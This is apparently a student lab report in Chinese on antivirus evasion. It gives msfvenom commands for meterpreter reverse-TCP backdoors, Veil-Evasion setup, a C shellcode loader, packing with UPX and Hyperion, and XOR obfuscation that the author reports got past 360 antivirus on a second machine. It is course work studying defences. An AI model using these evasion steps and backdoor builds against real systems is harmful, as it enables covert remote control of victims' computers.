Exp3 免杀原理与实践
一、实验过程
1.编码器
(1)使用msf编码器,直接生成meterpreter可执行文件(跟Exp2中生成backdoor.exe的过程一样,生成后门文件),送到Virscan、VirusTotal网站上检测(注:VirusTotal网站实在太慢,后续均使用Virscan网站检测)
很明显,直接挂掉,毕竟直接由著名的msf生成(深信服没发现???百度那个,习惯就好)
(2)Msfvenom使用编码器
查询一下,-e后接所使用编码,-i后接对载荷的编码次数
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b LHOST= -f exe > encode_backdoor.exe
事实证明,编码并没有作用(or没有多大作用),Anti-Virus厂商也不傻,人家研究的是编码器本身,shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,只要盯住这部分就可以了。
2.msfvenom生成如jar文件,扫描结果如下
msfvenom -p windows/meterpreter/reverse_tcp LHOST= x > 007msf_backdoor.jar
3.使用Veil-Evasion,这是一个免杀平台,与Metasploit有点类似,在Kali软件库中有,但默认没装。免杀效果比较好。
apt-get install veil 进行安装,之后 veil 命令进入veil,输入 y 继续安装,按照要求进行剩余安装(一路默认),安装时间较长
(1)安装完成后,输入 use 进入Veil-Evasion
(2) list 看一下可用载荷
(3)这里选用C语言生成payload, use c/meterpreter/rev_tcp.py
(4)设置主机IP、端口号
set LHOST 192.168.28.181 set LPORT
(5) generate 生成payload,然后起个名字就OK了
(6)送到VirScan检测,只能说稍微好一些了(注意上图veil_backdoor.exe所在位置)
4.半手工打造恶意软件(C语言调用Shellcode)
(1)生成C语言格式的shellcode数组
msfvenom -p windows/meterpreter/reverse_tcp LHOST= -f c
(2)利用上面的数组编写一个C程序, gedit 编辑一个文件,复制粘贴数组,并插入如下主函数,保存为 007backdoor.c 格式(注:如果之后生成的可执行文件无法运行,可能是C文件里没加头文件)
int main() { void *exec = VirtualAlloc(, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, buf, sizeof buf); ((void(*)())exec)(); }
(3)生成可执行文件
i686-w64-mingw32-g++ 007shellcode.c -o 007shellcode.exe
(4)放到VirScan上检测一下,比veil又要好些
(5)ncat传到win7上试一下
居然可以成功回连,刚准备高兴,360没有报毒呀。。。那,不如主动扫一下吧(那就这样吧,曲终人散吧。。。)
5.加壳(将可执行程序资源压缩,压缩后的程序可以直接运行)
(1)压缩壳UPX
upx 007shellcode.exe -o 007_upx_shellcode.exe
是认真的吗?比之前还多一个。。。不如不压缩壳
(2)加密壳Hyperion(在Kali里有hyperion的实现)
cd /usr/share/windows-binaries/hyperion/ wine hyperion.exe -v ~/007shellcode.exe 007_hype_backdoor.exe
更多。。。算了,就不放win7上检测了
6.shellcode变形实现恶意代码免杀
参考各种博客,说是可以利用异或或者逆转shellcode数组方法进行免杀(提前编好一段程序将数组逆转或者利用固定16进制数异或,得到的数组放在.cpp文件中【只要在调用该数组前,再逆转回来或者异或回来,就可实现免杀】,编译、链接生成.exe文件)
然而我已经将奇偶异或和逆转放在一起配合使用,还是被360查杀。
直接在数组中添加或减少16进制数(在不同的地方进行了不少次),还是会被检测到。(已经把攻击的shellcode破坏了,还能被认为是木马?)
后来看到FreeBuf上的一篇文章说是异或 'x' ,试了一下,居然可以。。。(为啥异或 0x07 类似形式的16进制数行不通,非要是字符啊,本质应该是一样的呀)
可以回连成功
放到VirScan上检测,2/49,总算降下来了
7.用另一电脑实测,在杀软开启的情况下,可运行并回连成功
修改本机Kali的IP为桥接模式下的IP,msfvenom半手工生成shellcode,与'x'异或后,与主函数一起生成.cpp文件,编译链接成.exe文件,传到另一台电脑上,运行后回连成功
(另一台电脑为win10系统,装有360安全卫士[版本号:11.5.0.2001])
二、基础问题回答
1.杀软是如何检测出恶意代码的?
[1].基于特征:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
[2].基于行为:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
2.免杀是做什么?
它指的是一种能使病毒木马免于被杀毒软件查杀的技术。
3.免杀的基本方法有哪些?
[1].加冷门壳(伪装壳,把一种壳伪装成其他壳,干扰杀毒软件正常的检测)
[2].加壳改壳(将一个木马文件加上upx壳或者其它壳后用lordpe将文件入口点加1,然后将区段字符全部去掉,然后用od打开免杀的木马在入口上下100字符内修改一些代码让杀毒软件查不出来是什么壳就不知道怎么脱就可以实现免杀的目的)
[3].加花指令(通过添加加花指令{一些垃圾指令,类型加1减1之类的无用语句}让杀毒软件检测不到特征码,干扰杀毒软件正常的检测)
[4].改程序入口点
三、实践总结与体会(开启杀软能绝对防止电脑中恶意代码吗?)
本次实验基本上将上次实践内容的“特殊”推广到了“一般”,在杀软开启的情况下,依旧可以成功运行后门,获得权限。
通过不同方法的构造、编码、实验,居然真的能绕过杀毒软件,终于体会到了“杀软不是万能的”这句话的含义,显然,开启杀软根本不可能绝对防止电脑中恶意代码。
安全形势是真的严峻,期待后续实验!
Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
- 2018-2019-2 网络对抗技术 20165336 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165336 Exp3 免杀原理与实践 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 根据计算机病毒课程知道了每个病毒都有其对应的特征码,杀软是根据这 ...
随机推荐
- django mongodb配置
#settings.py import os from mongoengine import * BASE_DIR = os.path.dirname(os.path.dirname(os.path. ...
- Java 环境下载设置
本篇文章出处: http://www.cnblogs.com/xiaofeixiang/p/4085159.html 和 https://www.cnblogs.com/renqiqiang/p/68 ...
- windows10+VS+CUDA+cuDNN+TensorFlow-gpu环境搭建(问题及解决)
TensorFlow-gpu环境需要CUDA+cuDNN+python,CUDA又需要VS,所以,,,环境越来越大哈哈. 1.主要环境: Python 3.6 CUDA9.0 Cudann7.0 Te ...
- ctrl+shift+r / ctrl+f5 强制(不使用缓存)刷新google chrome网页
我改了csdn图片后, 一直看到的是旧图片, n天之后, 还是旧图片.猜测应该是用了缓存(且缓存更新逻辑失败, 定是csdn的bug), 用ctrl+shift+r, 或者ctrl+f5, 强制刷新页 ...
- js 发送短信倒计时、秒杀倒计时实现代码
<!doctype html> <html> <head> <meta charset="utf-8"> <meta name ...
- 03 前端篇(JS)
参考博客:http://www.cnblogs.com/yuanchenqi/articles/5980312.html JavaScript包括三部分: ECMAScript.DOM.BOM Jav ...
- [认证授权] 4.OIDC(OpenId Connect)身份认证(核心部分)
1 什么是OIDC? 看一下官方的介绍(http://openid.net/connect/): OpenID Connect 1.0 is a simple identity layer on to ...
- IdentityServer4客户端如何获取自定义声明,了解一下?
前言 久违了各位,之前录制过IdentityServer4的基础视频(https://space.bilibili.com/319652230/#/),有兴趣了解的童鞋可以看一下,只不过未发表成博客. ...
- VUE中使用geetest滑动验证码
一,准备工作:服务端部署 下载文件gt.gs: https://github.com/GeeTeam/gt3-python-sdk 需要说明的是这里的gt.js文件,它用于加载对应的验证JS库. 1. ...
- MySQL数据库执行计划(简单版)
+++++++++++++++++++++++++++++++++++++++++++标题:MySQL数据库执行计划简单版时间:2019年2月25日内容:MySQL数据库执行计划简单版重点:MySQL ...